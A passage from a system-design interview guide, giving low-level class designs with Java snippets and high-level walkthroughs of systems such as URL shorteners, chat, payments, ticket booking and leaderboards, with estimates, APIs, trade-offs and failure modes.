    Board(int size, Map<Integer, Integer> jumps){ this.size = size; this.jumps = jumps; }
    int next(int pos, int roll) {
        int p = pos + roll;
        if (p > size) return pos;
        return jumps.getOrDefault(p, p);
    }
}
```

- Use `ArrayDeque<Player>`: poll, play, offer back unless won.

FOLLOW-UP TRAPS

- **How do you test deterministically?** Inject a fake `Dice`.
- **How do you stop infinite loops from cyclic jumps?** Validate the jump graph at construction.

#snake-ladder #game #oop

Q27 Design the classes behind a URL shortener. BASIC

`UrlShortener` coordinates a `KeyGenerator` (strategy: counter+base62, hash, random), a `UrlRepository` and optional expiry; HLD concerns (sharding, caching) sit behind the repository interface.

- API: `String shorten(String longUrl, Duration ttl)`, `Optional<String> resolve(String code)`.
- Base62 of an atomic counter is collision free and short; hashing needs collision checks.
- Custom aliases: reject if taken (`putIfAbsent`).

```
class Base62 {
    private static final String A =
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    static String encode(long n) {
        StringBuilder sb = new StringBuilder();
        do { sb.append(A.charAt((int) (n % 62))); n /= 62; } while (n > 0);
        return sb.reverse().toString();
    }
}
class UrlShortener {
    private final AtomicLong counter = new AtomicLong(1_000_000);
    private final ConcurrentMap<String, String> store = new ConcurrentHashMap<>();
    String shorten(String url) { String c = Base62.encode(counter.getAndIncrement());
store.put(c, url); return c; }
}
```

FOLLOW-UP TRAPS

- **Are sequential codes a problem?** They are guessable; mix with a shuffle/permutation or random id if enumeration matters.
- **Same long URL twice?** Either return the existing code (needs reverse index) or issue a new one; state the choice.

#url-shortener #lld #strategy

Q28 Design a cab booking system (Uber-like LLD). ADVANCED

`RideService` finds nearby available drivers via a `MatchingStrategy`, offers the trip, and drives a `Trip` through states REQUESTED, ACCEPTED, STARTED, COMPLETED/CANCELLED; `FareStrategy` computes the price.

- Entities: `Rider`, `Driver` (location, status), `Cab`, `Trip`, `Location`, `Payment`.
- Matching: nearest available driver by haversine distance (or a geo-grid index); offer sequentially with a timeout.

- Concurrency: marking a driver unavailable must be atomic so two riders do not claim him (`compareAndSet` on status).
- Fare: base + per-km + per-minute, times surge multiplier from `SurgeStrategy`.

```
class Driver {
    private final AtomicReference<Status> status = new AtomicReference<>(Status.AVAILABLE);
    boolean tryReserve() { return status.compareAndSet(Status.AVAILABLE, Status.RESERVED); }
    void release() { status.set(Status.AVAILABLE); }
}
interface MatchingStrategy { Optional<Driver> match(Location pickup, Collection<Driver>
candidates); }
```

FOLLOW-UP TRAPS

- **How to avoid scanning all drivers?** Geohash/grid buckets; query the rider's cell and neighbours.
- **What if the driver declines or times out?** Release the reservation and offer to the next candidate.

#cab-booking #strategy #state

Q29 Design a task scheduler (run tasks at a time or with a delay). ADVANCED

Keep tasks in a `PriorityQueue` ordered by next run time; a single dispatcher thread waits until the earliest is due and submits it to a worker pool. This is what `ScheduledThreadPoolExecutor` does internally.

- Use `DelayQueue<ScheduledTask>` (implements `getDelay` and `compareTo`) so `take()` blocks until the head is due.
- Recurring tasks: after execution, compute the next time and re-insert (fixed rate vs fixed delay).
- Worker pool isolates slow tasks from the dispatcher; catch exceptions so one failure does not kill the loop.

```
class ScheduledTask implements Delayed {
    final Runnable r; final long at;
    ScheduledTask(Runnable r, long delayMs){ this.r = r; at = System.currentTimeMillis() +
delayMs; }
    public long getDelay(TimeUnit u){ return u.convert(at - System.currentTimeMillis(),
TimeUnit.MILLISECONDS); }
    public int compareTo(Delayed o){ return Long.compare(at, ((ScheduledTask) o).at); }
}
// dispatcher: while (true) pool.submit(queue.take().r);
```

FOLLOW-UP TRAPS

- **Why not `Thread.sleep` per task?** One thread per task does not scale.
- **fixedRate vs fixedDelay?** Rate measures start to start; delay measures end to next start.

#scheduler #priority-queue #concurrency

Q30 Design a thread-safe cache with TTL and a size bound. ADVANCED

Use `ConcurrentHashMap` entries holding value plus expiry, lazy expiry on read, a background sweeper, and atomic loading with `computeIfAbsent` to prevent stampedes.

- Per-key atomic load: `map.compute(key, ...)` runs the loader once for concurrent misses (keep loaders short; it holds a bin lock).
- Eviction: size bound with an LRU/LFU structure guarded by a lock, or delegate to Caffeine in real code.
- Expiry: check `expiresAt` on get; a `ScheduledExecutorService` removes stale entries periodically.
- Metrics: hit/miss counters in `LongAdder`.

```
class TtlCache<K, V> {
    private record Entry<V>(V value, long expiresAt) {}
    private final ConcurrentHashMap<K, Entry<V>> map = new ConcurrentHashMap<>();
    private final long ttlNanos;
    TtlCache(Duration ttl){ ttlNanos = ttl.toNanos(); }
    V get(K key, Function<K, V> loader) {
        long now = System.nanoTime();
        return map.compute(key, (k, e) ->
            e != null && e.expiresAt() > now ? e : new Entry<>(loader.apply(k), now +
ttlNanos)).value();
    }
}
```

FOLLOW-UP TRAPS

- **Why not `get` then `put`?** Two threads both miss and both load; use `compute`.
- **Is a blocking loader inside `compute` safe?** It blocks other writers to the same bin; for slow loads use a `CompletableFuture` value.

#thread-safe-cache #ttl #concurrency

SYSTEM DESIGN · CHAPTER 6

High-Level Design

Twenty end-to-end system design walkthroughs - URL shortener, news feed, chat, payments, web crawler, distributed cache, ticket booking, job scheduler and more - with requirements, estimates, APIs, data models, diagrams, trade-offs and failure modes.

20 questions **2** basic **8** intermediate **10** advanced

Each answer follows the same shape: requirements, back-of-envelope estimates, API, data model, architecture diagram, deep dives, trade-offs and failure modes. Numbers are round-figure assumptions to show the method, not facts.

HLD

Q1 Design a URL shortener. BASIC

Generate a unique short code per long URL, store the mapping, and serve redirects from a cache-fronted key-value store; the system is read-heavy and latency sensitive.

- Requirements: shorten, redirect (301/302), custom alias, expiry, click analytics; 99.99% availability on redirect.
- Estimates: 100M new URLs/month (~~40 writes/s), 100:1 read ratio (~~4K reads/s, peak 10x); 5 years = 6B rows x ~500 B = ~3 TB. 7 base62 chars = 62^7 = 3.5T codes.
- API: `POST /v1/urls {longUrl, alias?, ttl?} -> {shortUrl}`; `GET /{code} -> 302 Location`.
- Data model: `urls(code PK, long_url, user_id, created_at, expires_at)`; key-value or sharded SQL by `code`.

```
Client -> CDN/LB -> Redirect Service -> Redis (code->url) -> DB (sharded by code)
                 \-> Create Service -> Key Gen Service (range allocator) -> DB
Redirect Service -> Kafka (click events) -> Analytics
```

- Key generation: a counter service hands each app node a range (e.g., 1M ids) from ZooKeeper/DB, encoded to base62; no collisions, no per-write coordination. Hashing (MD5 truncated) needs collision retries.
- 301 is cacheable by browsers (less load, lost analytics); 302 keeps every click visible.
- Trade-offs: sequential ids are guessable (permute bits); range allocation wastes ids on crash (fine).
- Failure modes: cache outage sends load to DB, so use replicas and request coalescing; allocator down means nodes use their remaining range; expired links are cleaned lazily plus a TTL sweep.

FOLLOW-UP TRAPS

- **Why not hash the long URL directly?** Collisions and the same URL by two users map to one code; needs extra checks.
- **How to scale reads 100x?** CDN caching of redirects, local in-process LRU, then Redis.

#url-shortener #key-generation #caching

Q2 Design Pastebin. BASIC

Store paste content in object storage (S3), metadata in a database, and generate IDs like the URL shortener; reads are served through a CDN.

- Requirements: create paste (text up to 10 MB), optional expiry and visibility, view by link, optional syntax highlighting.
- Estimates: 1M pastes/day (~12 writes/s), 5:1 reads; avg 10 KB gives ~10 GB/day = 3.6 TB/year.

- API: `POST /v1/pastes {content, expiresIn, visibility}`; `GET /v1/pastes/{id}`.
- Data model: `pastes(id, owner, s3_key, created_at, expires_at, visibility)`; content blob in S3 keyed by id.

```
Client -> LB -> API -> Key Gen -> Metadata DB
                  \-> S3 (content) ; Client <- CDN <- S3 (reads)
Expiry Worker -> deletes expired metadata + objects
```

- Deep dive: write content to S3 first, then metadata; orphaned blobs are swept by a reconciler. Use S3 lifecycle rules for TTL.
- Dedup by content hash (SHA-256) saves storage but complicates deletion (refcount).
- Trade-offs: storing small pastes inline in DB speeds reads; big pastes in object storage keeps DB small.
- Failure modes: S3 write succeeded but DB failed (orphan, reconciled); abuse/spam needs rate limiting and malware scanning.

FOLLOW-UP TRAPS

- **Why not store content in the DB?** Large blobs bloat rows, buffer cache and backups.
- **How do you handle private pastes?** Unguessable IDs plus signed URLs; CDN must not cache private ones publicly.

#pastebin #object-storage #cdn

Q3 Design a distributed rate limiter service. INTERMEDIATE

Run a shared limiter keyed by user/IP/API-key in Redis with atomic Lua scripts, evaluated at the gateway; choose token bucket or sliding-window counter based on burst tolerance.

- Requirements: per-key limits with multiple rules, low added latency (<5 ms), accurate enough, fail-open or fail-closed decided per route, return `429` with `Retry-After`.
- Estimates: 1M req/s peak across 50M active keys; each key ~100 B = ~5 GB in Redis, so shard by key.
- API: `allow(key, rule) -> {allowed, remaining, resetAt}` plus `X-RateLimit-*` headers.
- Data model: Redis hash per key `{tokens, last_refill}` with TTL; rules in a config store, cached locally.

```
Client -> API Gateway -> Limiter lib -> Redis Cluster (Lua: refill+decrement)
                              \-> local cache of rules (from Config Service)
```

- Atomicity: a Lua script reads, refills, decrements and writes in one step, avoiding race conditions between gateway nodes.
- Reduce Redis calls: each node pre-fetches a batch of tokens (local leases) at the cost of slight over/under-limit.
- Trade-offs: fixed window is cheap but allows 2x bursts at boundaries; sliding window log is exact but memory heavy; token bucket supports bursts.
- Failure modes: Redis down means fail-open for general APIs (availability) and fail-closed for expensive/abuse-prone ones; clock skew is avoided by using Redis `TIME`; hot keys are split across shards.

FOLLOW-UP TRAPS

- **Why not store counters in each gateway node?** Limits would multiply by node count and break on scaling.
- **Is `INCR` + `EXPIRE` safe?** No, a crash between them leaves a key without TTL; use a script.

#rate-limiter #redis #token-bucket

Q4 Design a news feed (Twitter/Facebook timeline). ADVANCED

Use fan-out on write (push) for normal users, precomputing each follower's feed in a cache, and fan-out on read (pull) for celebrities; merge at read time.

- Requirements: post, follow, home timeline (reverse chronological or ranked), low-latency reads (<200 ms), eventual consistency acceptable.
- Estimates: 300M DAU, 5 reads/day per user-session x 10 = 1.5B timeline reads/day (~~17K/s avg, 50K peak~~); ~~100M posts/day~~ (1.2K/s). Average 200 followers means 240K feed inserts/s.
- API: `POST /v1/posts`, `GET /v1/feed?cursor=`; cursor-based pagination.
- Data model: `posts(post_id, user_id, text, media_url, ts)`, `follows(follower, followee)`, feed cache `feed:{userId}` as a Redis sorted set of post ids (cap 800).

```
Post API -> Post DB -> Kafka(post-created) -> Fanout Workers -> Redis feed:{follower}
Feed API -> Redis feed (ids) -> Post Cache/DB (hydrate) ; + celebrity posts pulled & merged
```

- Hybrid: skip fan-out for accounts with >1M followers; at read time merge the cached feed with recent posts of followed celebrities.
- Ranking: candidate generation then ML scoring; keep the pipeline separate from storage.
- Trade-offs: push gives fast reads but heavy writes and wasted work for inactive users (fan-out only to active users); pull is cheap on write but slow on read.
- Failure modes: cache loss rebuilt from follows + posts; fan-out lag means a delayed post appears (acceptable); deleted posts filtered on hydration.

FOLLOW-UP TRAPS

- **Why not pure push?** A celebrity post with 50M followers causes a write storm.
- **How do you paginate a changing feed?** Cursor on `(ts, post_id)`, not offset.

#news-feed #fan-out #caching

Q5 Design a chat system (WhatsApp/Slack). ADVANCED

Keep persistent WebSocket connections to chat servers, route messages via a presence/session registry and a message queue, and persist messages in a wide-column store keyed by conversation.

- Requirements: 1:1 and group chat (up to 500), delivery and read receipts, online presence, offline delivery, history, media; message ordering per conversation.
- Estimates: 500M DAU x 40 messages = 20B msgs/day (~230K/s); 100 B/msg = 2 TB/day. 100M concurrent connections at ~100K per server = ~1000 servers.
- API: WebSocket frames `send{convId, clientMsgId, body}`, `ack`, `typing`; REST for history `GET /conversations/{id}/messages?before=`.
- Data model: Cassandra `messages((conv_id), msg_id)` with time-sortable ids (Snowflake); `conversations`, `members`.

```
Client <-WS-> Gateway(chat server) -> Session Registry (Redis: user->server)
Sender GW -> Message Service -> Kafka -> Delivery Worker -> Receiver GW -> Client
                          \-> Message Store (Cassandra) ; Offline -> Push (APNs/FCM)
```

- Delivery: sender sends with `clientMsgId` (idempotent); server persists, acks, then forwards; receiver acks; retries until acked.
- Ordering: sequence per conversation (one partition key = conv_id in Kafka).
- Groups: fan-out to member sessions; large groups use fan-out via queue.
- Trade-offs: store-and-forward vs transient; E2E encryption means servers cannot index content.
- Failure modes: gateway crash drops connections, clients reconnect and sync from last seen msg id; duplicates handled by `clientMsgId`; presence is heartbeat-based with TTL to avoid thundering updates.

FOLLOW-UP TRAPS

- **Why WebSocket over polling?** Server push with low overhead; polling wastes requests and adds latency.
- **How do you guarantee ordering across devices?** Server-assigned per-conversation sequence, not client timestamps.

#chat #websocket #messaging

Q6 Design a notification system (push, SMS, email). INTERMEDIATE

An ingestion API validates requests, applies user preferences and rate limits, renders templates, and enqueues per-channel messages that workers send through providers with retry and dedup.

- Requirements: multi-channel, templating, user opt-out, scheduling, priority (OTP over marketing), at-least-once with dedup, delivery tracking.
- Estimates: 10M users, 5 notifications/day = 50M/day (~600/s avg, 10x peak at campaigns).
- API: `POST /v1/notifications {userId, type, params, idempotencyKey}`.
- Data model: `preferences(user, channel, enabled)`, `templates`, `notification_log(id, user, channel, status, ts)`, device tokens table.

```
Producers -> Notification API -> Kafka topics (otp / transactional / marketing)
Channel Workers (email|sms|push) -> Provider (SES/Twilio/FCM) -> status callbacks -> Log DB
Scheduler -> Kafka (delayed) ; DLQ for exhausted retries
```

- Separate queues per priority and channel so a marketing blast cannot delay OTPs.
- Retry with exponential backoff and jitter; fail over to a secondary provider; respect provider rate limits with a token bucket per provider.
- Dedup via idempotency key stored with a TTL.
- Trade-offs: at-least-once means rare duplicates; exactly-once is impractical with external providers.
- Failure modes: provider outage (circuit breaker + fallback), invalid device tokens (prune on feedback), poison messages go to DLQ.

FOLLOW-UP TRAPS

- **How do you avoid spamming a user?** Per-user frequency caps and aggregation windows.
- **How do you track delivery?** Provider webhooks update status; push receipts are best effort.

#notification #queue #retries

Q7 Design cloud file storage and sync (Dropbox/Google Drive). ADVANCED

Split files into content-addressed chunks, upload only changed chunks to object storage, keep file-to-chunk metadata in a database, and notify other devices to sync.

- Requirements: upload/download, multi-device sync, versioning, sharing, resumable transfers, large files (GBs), conflict handling.
- Estimates: 50M users x 10 GB = 500 PB raw; 10M DAU, 2 file changes/day = 230 changes/s. Chunk size 4 MB.
- API: `POST /files/{id}/chunks:upload-url`, `PUT` chunk to pre-signed URL, `POST /files/{id}/commit {chunkHashes}`; `GET /changes?cursor=`.
- Data model: `files(file_id, owner, path, version)`, `file_versions(file_id, version, chunk_list)`, `chunks(hash, s3_key, refcount)`.

```
Client(chunker, hash) -> API -> Metadata DB (sharded by user)
Client -> pre-signed PUT -> Object Store ; Notification Svc (long poll/WS) -> other clients
Block dedup index: hash -> exists?
```

- Delta sync: client hashes chunks, asks which are missing, uploads only those; dedup is global by hash (cross-user dedup raises privacy side-channels).
- Conflicts: last-writer-wins with a "conflicted copy" file; vector of version numbers per file.
- Trade-offs: small chunks give better dedup but more metadata; large chunks fewer requests.
- Failure modes: partial upload resumes via chunk list; garbage collect chunks with refcount 0 after a grace period; metadata DB sharding must keep a user's data on one shard.

FOLLOW-UP TRAPS

- **Why not upload through the API servers?** They become a bandwidth bottleneck; use pre-signed direct uploads.
- **How do you detect changes on the client?** File system watchers plus periodic hash scans.

#file-storage #chunking #sync

Q8 Design a ride-sharing system (Uber). ADVANCED

Drivers stream locations into a geospatial index; a matching service finds nearby drivers for a ride request and runs the trip through a state machine, with payments and ETA as separate services.

- Requirements: request ride, match nearest driver, live tracking, ETA and fare, surge pricing, trip history; match within a few seconds.
- Estimates: 1M drivers online sending location every 4 s = 250K writes/s; 20M rides/day (~230/s, peak 1K/s).
- API: `POST /rides {pickup, dest}`, `PUT /drivers/location`, `POST /rides/{id}/accept`, WebSocket for live updates.
- Data model: `trips(id, rider, driver, state, fare, ...)` in SQL; driver location in an in-memory geo index (H3/geohash grid in Redis or custom service), not a durable DB.

```
Driver App -> Location Svc -> Geo Index (sharded by cell, in-memory)
Rider App -> Ride Svc -> Matching Svc -> Geo Index -> offer to driver (push/WS)
Ride Svc -> Trip DB ; Pricing Svc ; Maps/ETA Svc ; Payment Svc ; Kafka events
```

- Geo index: partition the map into cells; query the rider's cell plus neighbours; rank by ETA (road distance) not straight line.
- Matching: offer to one driver at a time with a 10-15 s timeout, or batch matching in windows to optimise globally.
- Consistency: reserving a driver must be atomic (single owner per driver id, e.g., sharded by driver).
- Surge: compute demand/supply ratio per cell over a sliding window.
- Failure modes: location staleness (TTL on entries), matching service crash (trip state in DB, retry), double assignment prevented by the atomic reservation.

FOLLOW-UP TRAPS

- **Why not a SQL database for locations?** Write rate is huge and data is ephemeral; memory index with TTL fits.
- **Geohash vs quadtree?** Geohash is simple and prefix-queryable but has edge effects (query neighbours); quadtree adapts to density.

#ride-sharing #geospatial #matching

Q9 Design a payment system. ADVANCED

Accept payment requests with an idempotency key, orchestrate calls to a PSP through a state machine, and record every money movement in an append-only double-entry ledger with periodic reconciliation.

- Requirements: charge, refund, multiple payment methods, exactly-once effect, auditability, PCI compliance, high consistency.
- Estimates: 1M payments/day (~12/s, peak 100/s); low QPS, extreme correctness requirement.
- API: `POST /v1/payments {orderId, amount, currency, method}` with `Idempotency-Key` header; `GET /payments/{id}`; webhooks from PSP.
- Data model: `payments(id, order, amount, state, idem_key UNIQUE)`, `ledger_entries(id, txn_id, account, debit/credit, amount)`; amounts in minor units.

```
Checkout -> Payment API -> Payment DB (state) -> PSP Adapter -> PSP (Stripe/Adyen)
PSP webhook -> Webhook Handler (verify signature) -> update state -> Ledger -> Kafka events
Reconciliation Job: PSP settlement files vs ledger
```

- Idempotency: unique key stored with the request hash and response; replays return the stored result.
- State machine: CREATED -> PENDING -> SUCCEEDED/FAILED; timeouts are unknown outcomes, so query the PSP status before retrying and never blindly re-charge.
- Use the outbox pattern to publish events atomically with DB updates.
- Trade-offs: synchronous confirmation vs async webhook; never store raw card data (tokenize via PSP).
- Failure modes: PSP timeout (unknown state, poll and reconcile), duplicate webhooks (idempotent handler), ledger imbalance caught by reconciliation.

FOLLOW-UP TRAPS

- **Can you use exactly-once with an external PSP?** No; achieve effectively-once via idempotency keys and reconciliation.
- **Why double-entry?** Every movement has equal debit and credit, so inconsistencies are detectable.

#payments #idempotency #ledger

Q10 Design search autocomplete (typeahead). INTERMEDIATE

Serve top-K suggestions per prefix from a precomputed trie or prefix index in memory/cache, refreshed offline from aggregated query logs.

- Requirements: suggestions within 100 ms as the user types, top 5-10 by popularity, personalisation optional, freshness within hours.
- Estimates: 10B searches/day, each ~4 prefix requests with debouncing = 400K req/s peak, so aggressive caching and CDN.
- API: `GET /v1/suggest?q=prefix&limit=5`.
- Data model: trie nodes store top-K suggestions at each node (precomputed), or Redis `prefix -> [top K]`.

```
Client(debounce) -> CDN/Edge cache -> Suggest Svc -> Trie/Redis (prefix -> top K)
Search logs -> Kafka -> Aggregator (Spark/Flink, counts per query) -> Trie Builder -> snapshot -> Suggest nodes
```

- Storing top-K at each node makes lookup O(prefix length); memory cost is controlled by limiting depth and pruning rare queries.
- Build offline daily plus a small real-time layer for trending terms; swap snapshots atomically.
- Trade-offs: freshness vs build cost; personalised results hurt cacheability.
- Failure modes: stale snapshot (serve the old one), hot prefixes (cache), offensive suggestions (blocklist filter).

FOLLOW-UP TRAPS

- **Why not query the database with `LIKE 'abc%'`?** Too slow at this QPS and no ranking.
- **How do you handle typos?** Edit-distance candidates or a separate spell-correct service.

#autocomplete #trie #ranking

Q11 Design a video streaming platform (YouTube/Netflix). ADVANCED

Upload raw video to object storage, transcode into multiple resolutions and chunked adaptive streams (HLS/DASH) through a pipeline, and deliver via CDN with adaptive bitrate on the client.

- Requirements: upload, playback with minimal buffering, many devices, search, recommendations; global.
- Estimates: 500 hours uploaded per minute; a 1-hour video ~ 1 GB raw, ~5 GB across renditions; egress is dominated by CDN, petabytes/day.
- API: `POST /videos` (pre-signed upload), `GET /videos/{id}/manifest.m3u8`, segment fetches from CDN.
- Data model: `videos(id, owner, title, status, renditions)` in SQL/NoSQL; segments and manifests in object storage; view counts in a stream-aggregated store.

```
Uploader -> Object Store (raw) -> Kafka -> Transcoder Workers (DAG) -> Object Store (HLS segments)
Player -> CDN edge -> origin (object store) ; Metadata DB + Search Index
```

- Transcoding: split into GOP-aligned chunks, process in parallel, stitch the manifest; produce 240p-4K variants.
- Adaptive bitrate: the client picks the rendition per segment (2-6 s segments) from bandwidth estimation.
- CDN: push popular titles to edges (Netflix Open Connect), pull-through for the long tail.
- Trade-offs: more renditions cost storage and compute; generate rare ones lazily.
- Failure modes: transcode failures retry per chunk; CDN miss storms on viral videos mitigated by origin shielding and request collapsing.

FOLLOW-UP TRAPS

- **Why chunk videos?** Parallel transcoding, adaptive switching, and range caching.
- **Why not serve from origin directly?** Latency and bandwidth cost; CDN offloads >95%.

#video-streaming #cdn #transcoding

Q12 Design a web crawler. INTERMEDIATE

A distributed frontier of URLs feeds fetcher workers that download, parse and extract links; dedup (URL seen set, content hash) and per-host politeness keep it correct and ethical.

- Requirements: crawl 1B pages/month, respect robots.txt, avoid duplicates and traps, prioritise important pages, refresh periodically.
- Estimates: 1B pages/month = ~400 pages/s; 100 KB/page = 100 TB/month; storage ~1.2 PB/year.
- API (internal): `seed(urls)`, `frontier.next(host)`, `store(page)`.
- Data model: URL frontier (priority + per-host queues), `seen_urls` (Bloom filter + persistent store), page store in object storage/HDFS, `link graph`.

```
Seed -> URL Frontier (priority queues -> per-host queues) -> Fetchers (DNS cache, robots.txt)
Fetchers -> Parser -> Link Extractor -> URL Filter -> Dedup (Bloom/seen) -> Frontier
Parser -> Content Hash (simhash) -> Page Store -> Indexer
```

- Politeness: one queue per host with a crawl-delay; map hosts to workers (consistent hashing) so one worker owns a host.
- Dedup: Bloom filter for URLs (false positives skip a few new pages), simhash for near-duplicate content.
- Traps: infinite calendars/session ids; cap depth per host and normalise URLs.
- Trade-offs: BFS vs priority (PageRank, freshness); breadth vs recrawl rate.
- Failure modes: fetcher crash (lease expiry returns URL to frontier), slow hosts (timeouts, backoff), DNS bottleneck (local cache).

FOLLOW-UP TRAPS

- **Why a Bloom filter?** Memory-efficient set membership for billions of URLs at the cost of false positives.
- **How do you recrawl?** Adaptive interval based on observed change frequency.

#web-crawler #bloom-filter #politeness

Q13 Design a distributed cache (Redis/Memcached-like). ADVANCED

Partition keys across nodes with consistent hashing (virtual nodes), replicate for availability, evict with LRU/LFU, and let clients or a proxy route requests.

- Requirements: sub-ms get/put, horizontal scale, high availability, TTLs, eviction, optional persistence.
- Estimates: 1M ops/s, 1 TB data; with 64 GB per node, ~20 nodes (plus replicas).
- API: `GET key`, `SET key value ttl`, `DEL key`, `INCR`.

- Data model: in-memory hash table per node, LRU/LFU lists, slot or hash-ring mapping stored in a config service.

```
Client lib / Proxy -> Hash Ring (vnodes) -> Node A (primary) -> replica A'
                                         -> Node B ...      ; Config/Gossip for membership
```

- Routing: consistent hashing minimises key movement on node add/remove (about K/N keys); Redis Cluster uses 16384 hash slots instead.
- Replication: async primary-replica for speed (can lose last writes); failover through sentinel/gossip.
- Hot keys: replicate hot keys or add a local L1 cache; stampede: single-flight loading and TTL jitter.
- Patterns: cache-aside (default), write-through, write-behind; invalidation is the hard part.
- Failure modes: node loss (replica promoted, rewarm), network partition (split brain, so require quorum), thundering herd on mass expiry.

FOLLOW-UP TRAPS

- **Why virtual nodes?** They balance load and spread a failed node's keys across many nodes.
- **Cache-aside vs write-through?** Aside is lazy and tolerates cache loss; write-through keeps cache fresh but adds write latency.

#distributed-cache #consistent-hashing #replication

Q14 Design a distributed unique ID generator. INTERMEDIATE

Use a Snowflake-style 64-bit ID composed of timestamp, machine id and sequence, giving roughly time-ordered, unique ids without central coordination.

- Requirements: globally unique, 64-bit, roughly sortable by time, 10K+ ids/s per node, no single point of failure.
- Layout: 1 sign bit + 41 bits ms timestamp (~69 years) + 10 bits worker id (1024 nodes) + 12 bits sequence (4096/ms/node).
- Estimates: 1024 nodes x 4M/s = ~4B ids/s theoretical capacity.
- API: `nextId() -> long` (library or service).

```
App/IdService node -> [timestamp | workerId | sequence]
Worker id assignment: ZooKeeper/etcd lease or DB at startup
```

- Same millisecond: increment sequence; on overflow wait for the next millisecond.
- Clock moving backwards: refuse/wait until the clock catches up, or use a logical clock; NTP slew helps.
- Alternatives: UUIDv4 (no ordering, 128-bit, poor index locality), UUIDv7 (time-ordered), DB ticket servers, range allocation, ULID.
- Failure modes: duplicate worker ids (lease them), clock drift, sequence reset.

FOLLOW-UP TRAPS

- **Is Snowflake strictly ordered?** Only roughly, across nodes within clock skew.
- **Why avoid auto-increment across shards?** Collisions, and exposes volume.

#unique-id #snowflake #ordering

Q15 Design the e-commerce checkout flow. ADVANCED

Checkout is a saga across cart, inventory, payment and order services; reserve inventory with expiry, charge, confirm the order, and compensate on failure.

- Requirements: cart to order, price/tax/discount calculation, stock reservation (no oversell), payment, order confirmation emails; flash-sale resilience.
- Estimates: 10M orders/day (~120/s), flash-sale peak 50K checkout attempts/s on a few SKUs.

- API: `POST /checkout {cartId, addressId, paymentMethod}` (with idempotency key), `GET /orders/{id}`.
- Data model: `orders(id, user, state, total)`, `order_items`, `inventory(sku, available, reserved)`, `reservations(id, sku, qty, expires_at)`.

```
Client -> API GW -> Checkout Orchestrator -> Pricing Svc
                        |-> Inventory Svc (reserve w/ TTL) -> Inventory DB
                        |-> Payment Svc -> PSP
                        '-> Order Svc -> Kafka -> Email/Shipping/Analytics
```

- Saga: reserve inventory -> create order PENDING -> charge -> mark CONFIRMED; on payment failure release the reservation (compensation).
- Oversell prevention: conditional update `UPDATE inventory SET available = available - ? WHERE sku = ? AND available >= ?`; for hot SKUs use Redis counters or queue-based serialisation.
- Orchestration (central, easier to reason about) vs choreography (events, looser coupling).
- Failure modes: reservation expiry job returns stock; duplicate checkout clicks (idempotency key); payment succeeded but order write failed (outbox + reconciliation).

FOLLOW-UP TRAPS

- **Why not a distributed transaction (2PC)?** Poor availability and external PSPs cannot participate; use sagas.
- **Reserve at cart or at payment?** At checkout start with a short TTL, otherwise carts hoard stock.

#e-commerce #saga #inventory

Q16 Design a ticket booking system with high concurrency (flash sale). ADVANCED

Make seat or ticket reservation an atomic conditional update with a hold TTL, put a virtual waiting room in front to shed load, and confirm only after payment.

- Requirements: view availability, hold seats for ~10 minutes, pay, no double booking, handle 1M users hitting one event.
- Estimates: 1M concurrent users, 50K booking attempts/s on a hot event; inventory only 50K seats, so most requests must fail fast.
- API: `GET /events/{id}/seats`, `POST /holds {eventId, seatIds}`, `POST /bookings {holdId, paymentToken}`.
- Data model: `seats(event_id, seat_id, status, hold_id, hold_expires_at)`, `bookings`, `holds`.

```
Users -> CDN -> Waiting Room (queue token) -> API -> Hold Svc
Hold Svc -> Seat DB (UPDATE ... WHERE status='AVAILABLE') / Redis (SET NX EX)
Payment -> Booking Svc -> Seat DB (HELD->BOOKED) ; Expiry Worker releases holds
```

- Atomic hold: `UPDATE seats SET status='HELD', hold_id=? WHERE seat_id IN (...) AND status='AVAILABLE'` and check affected rows equals requested count; else roll back.
- Alternatives: pessimistic `SELECT ... FOR UPDATE` (simple, contention), optimistic version column, Redis `SET NX` with TTL for hot events (database remains the source of truth).
- Waiting room admits N users per second so downstream stays within capacity; availability reads served from cache (stale OK).
- Failure modes: payment success after hold expiry (re-verify, refund if lost), Redis loss (rebuild from DB), bots (CAPTCHA, per-user limits).

FOLLOW-UP TRAPS

- **Is `SELECT` then `UPDATE` safe?** No, two users can both read AVAILABLE; use a conditional update.
- **How do you shard seats?** By event id; one hot event may still need a single-writer partition.

#ticket-booking #concurrency #queueing

Q17 Design a real-time leaderboard. INTERMEDIATE

Use a Redis sorted set keyed by score for O(log N) updates and rank queries; shard by leaderboard or score range when a single set outgrows one node.

- Requirements: update score, top-K, rank of a user, nearby ranks, daily/weekly/all-time boards, near real-time.
- Estimates: 50M players, 10K score updates/s; one sorted set of 50M members ~ 5 GB; top-100 reads at 20K/s (cacheable for a second).
- API: `POST /scores {userId, delta}`, `GET /leaderboard/top?k=100`, `GET /leaderboard/rank/{userId}`.
- Data model: Redis `ZADD lb:2026-W40 score user`; `ZREVRANGE` top-K, `ZREVRANK` rank; durable scores in SQL.

```
Game Svc -> Kafka(score events) -> Score Consumer -> Redis ZSET (per board)
API -> Redis ZSET / top-K cache ; Scheduled job snapshots + resets weekly board
Durable store (SQL) <- consumer (source of truth)
```

- Beyond one node: shard by score bucket and compute global rank as sum of higher buckets' sizes plus local rank; approximate rank for the tail (percentile).
- Time windows: separate sets per window with TTL; all-time is the largest.
- Ties: encode `(score, timestamp)` into a single score or secondary ordering.
- Failure modes: Redis loss (rebuild from the durable store/Kafka replay), hot top-K reads (cache), duplicates (idempotent events).

FOLLOW-UP TRAPS

- **Why not `ORDER BY score LIMIT` in SQL?** Sorting/ranking 50M rows per read does not meet latency at this rate.
- **Exact rank for 50M users needed?** Usually not; approximate is acceptable beyond the top few thousand.

#leaderboard #redis #sorted-set

Q18 Design a metrics and logging pipeline. INTERMEDIATE

Agents on each host ship logs and metrics to Kafka; stream processors parse and aggregate; logs are indexed in a search store and metrics in a time-series database with tiered retention.

- Requirements: ingest from thousands of services, search logs within seconds, dashboards and alerts on metrics, retention 15 days hot / 1 year cold, no loss of critical logs.
- Estimates: 10K hosts x 1 MB/s logs = 10 GB/s ingest peak ~ 800 TB/day raw (sample/compress; 5x compression); metrics 10M series x 1 point/10s = 1M points/s.
- API: agents push over gRPC/HTTP; query APIs `GET /logs?q=`, PromQL-style metrics queries.
- Data model: logs as JSON with `ts, service, level, trace_id`; time-series `metric{labels} -> (ts, value)`.

```
Host Agent (Fluent Bit / OTel) -> Kafka -> Stream Proc (parse, enrich) ->
Elasticsearch/ClickHouse (hot)
                                        -> S3 (cold, Parquet) ; Metrics -> TSDB (Prometheus/M3) -
> Alert Manager
```

